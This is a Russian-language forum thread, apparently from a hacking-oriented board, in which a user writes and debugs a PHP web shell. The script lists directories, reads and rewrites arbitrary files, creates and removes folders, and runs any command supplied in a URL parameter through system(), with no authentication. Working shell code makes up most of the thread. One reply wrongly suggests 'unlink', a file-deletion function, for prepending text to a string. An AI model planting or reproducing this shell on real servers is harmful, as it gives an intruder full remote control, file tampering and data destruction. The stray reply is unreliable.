Php shell

Discussion in 'PHP' started by lomerok, 31 May 2008.

  1. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    неоткрываются русские папки
    PHP:
    <form method="get">
    Введите адрес :<input type="text" name="path">
    <input type="submit" value="Enter"></form>
    <?
    $do
    =$_GET['path'];
    if(
    $do=="./"$do .= "/";
    if(!isset(
    $do) or $do==''$do=getcwd();
    if(
    is_dir($do))
    {
     
    chdir($do);
     
    $od=opendir($do);
     while(
    $rd=readdir($od))
     {
     print 
    "<br><a href=\"?path=".getcwd()."\\$rd\">$rd</a>";
     }
     
    closedir($od);

    if(
    is_file($do)) 
    {
     print 
    '<textarea cols=100 rows=20>'
     print 
    htmlspecialchars(file_get_contents($do));
     print 
    '</textarea>';
    }
    ?>
     
  2. brasco2k

    brasco2k Elder - Старейшина

    Joined:
    23 Nov 2007
    Messages:
    258
    Likes Received:
    91
    Reputations:
    0
    А они и не должны открыватся.
    Не забывай про URL encode
     
  3. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    пля чёта я прогнал , пробовал урлэнкоде до этого и неработало , а щас заработало , видать нетуда пихал
     
  4. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    при сохранении в файл , всё передается через Get почему , если установлен Post ...
     
  5. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    при сохранении в файл , всё передается через Get почему , если установлен Post ...

    PHP:
    <html>
    <title>Shell</title>
    <body bgcolor=#000000 text=#ffffff alink=#ffffff vlink=#ffffff link=#ffffff>
    <table border=3>
     <tr>
      <td>
       <form method="get">
        <input type="text" name="us">
        <select name="use">
         <option value="open">Открыть папку</option>
         <option value="new">Создать папку</option>
         <option value="dell">Удалить папку</option>
         <option value="cmd">Выполнить команду</option>
        </select>
        <input type="submit" value="Enter">
      </td>
     </tr>
    </table>
    <?
    //--------------Peremennie-------------------------------------------------------------------
    $do=$_GET['path'];
    $text=$_GET['text'];
    $name=$_GET['name'];
    $us=$_GET['us'];
    $use=$_GET['use'];
    //-------------Edit file-----------------------------------------------------------------------
    if(isset($text))
    {
     
    $fo=fopen($name,"w");
     
    $fw=fwrite($fo,stripslashes($text));
     
    fclose($fo);
     print 
    "Сохранено !!!";
    }
    //-------------Commands---------------------------------------------------------------------
    if ($use=="open") {$do=$us; print "Готово !!!<br>";}
    if (
    $use=="new")  {mkdir("./$us/"); print "Готово !!!<br>";}
    if (
    $use=="dell") {rmdir($us); print "Готово !!!<br>";}
    if (
    $use=="cmd")   {$command=$us; print "Готово !!!<br>";}
    //-------------Cmd shell-----------------------------------------------------------------------
    if(isset($command))
    {
     if(
    $us=="cd .."chdir("..");
     print 
    '<textarea cols=100 rows=20>';
     echo 
    system($command);
     print 
    '</textarea><br><a href="javascript:history.go(-1);">Cancel</a>';

    //-------------Chtenie katalogov------------------------------------------------------------
    if($do=="./"$do .= "/";
    //if(!isset($do) or $do=='') $do=getcwd();
    if(is_dir($do))
    {
     
    chdir($do);
     
    $od=opendir($do);
     while(
    $rd=readdir($od))
     {
     print 
    "<br><a href=\"?path=".urlencode(getcwd())."\\$rd\">$rd</a>";
     }
     
    closedir($od);

    //-------------Chtenie failov-----------------------------------------------------------------
    if(is_file($do)) 
    {
     print 
    '<form method="POST">
            <input type="hidden" name="name" value="'
    .$do.'">
            <textarea cols=100 rows=20 name="text">'

     print 
    htmlspecialchars(file_get_contents($do));
     print 
    '</textarea><br>
            <input type="submit" value="Save">
            </form><br><a href="javascript:history.go(-1);">Cancel</a>'
    ;
    }
    ?>

    </body>
    </html>
     
  6. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    Методы GET и POST — это два различных способа передачи данных HTTP-серверу, точнее PHP- или другому CGI-скрипту для последующей обработки.
    При методе GET производится сокет-соединение с хостом на 80-ом порту и по этому соединению передаётся указанный текст запроса. По протоколу HTTP, в первой строке указывается метод запроса, имя ресурса и версия протокола. Во второй строке указывается DNS-имя хоста, к которому происходит обращение (на одном хосте могут размещаться сотни виртуальных хостов с различными именами). Этот метод получения документов (страниц, картинок и других файлов) является основным для HTTP-серверов и браузеров. В этом случае браузер лишь сообщает серверу, какой документ необходимо загрузить.

    Метод POST В этом случае данные передаются не в URL, а в теле HTTP-запроса, но формат представления очень похож на GET и в скрипте они обрабатываются посредством глобального массива $_POST[имя-поля]. Обычно POST используется при работе с формами, когда данные отправляются на сервер, а не просто запрашивается URL. В этом принципиальное отличие GET от POST.
    К примеру, вот простой скрипт сложения двух чисел. Состоит из двух частей: HTML-форма и код вывода суммы. Числа из полей ввода A и B передаются в этот же скрипт методом POST в виде переменных $_POST[a] и $_POST, и если они были переданы, то есть не пустые, то под формой выводится результат.
    PHP:
    <form name="sum" action="script.php" method="post">  
    Введите A <input name="a" type="text" value="">  
    Введите B <input name="b" type="text" value="">  
    <input type="submit" value="Сложить">  
    </form>
    <?php  
    if ( $_POST[a] && $_POST[b] ) echo "Результат " . ($_POST[a] + $_POST[b]);  
    ?>
     
  7. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    конечно спасибо за такой исчерпывающий ответ , но он неуместен так как в коде указан метод Post , а данные почемуто передаются через Get ...
     
  8. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    Уже разобрался .. проблемма была в незакрытом тэге <form>
     
  9. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    как в php подставить несколько букв в начало строки (переменной)
     
    #9 lomerok, 1 Jun 2008
    Last edited: 1 Jun 2008
  10. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    unlink
     
  11. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    спасибо BlackSun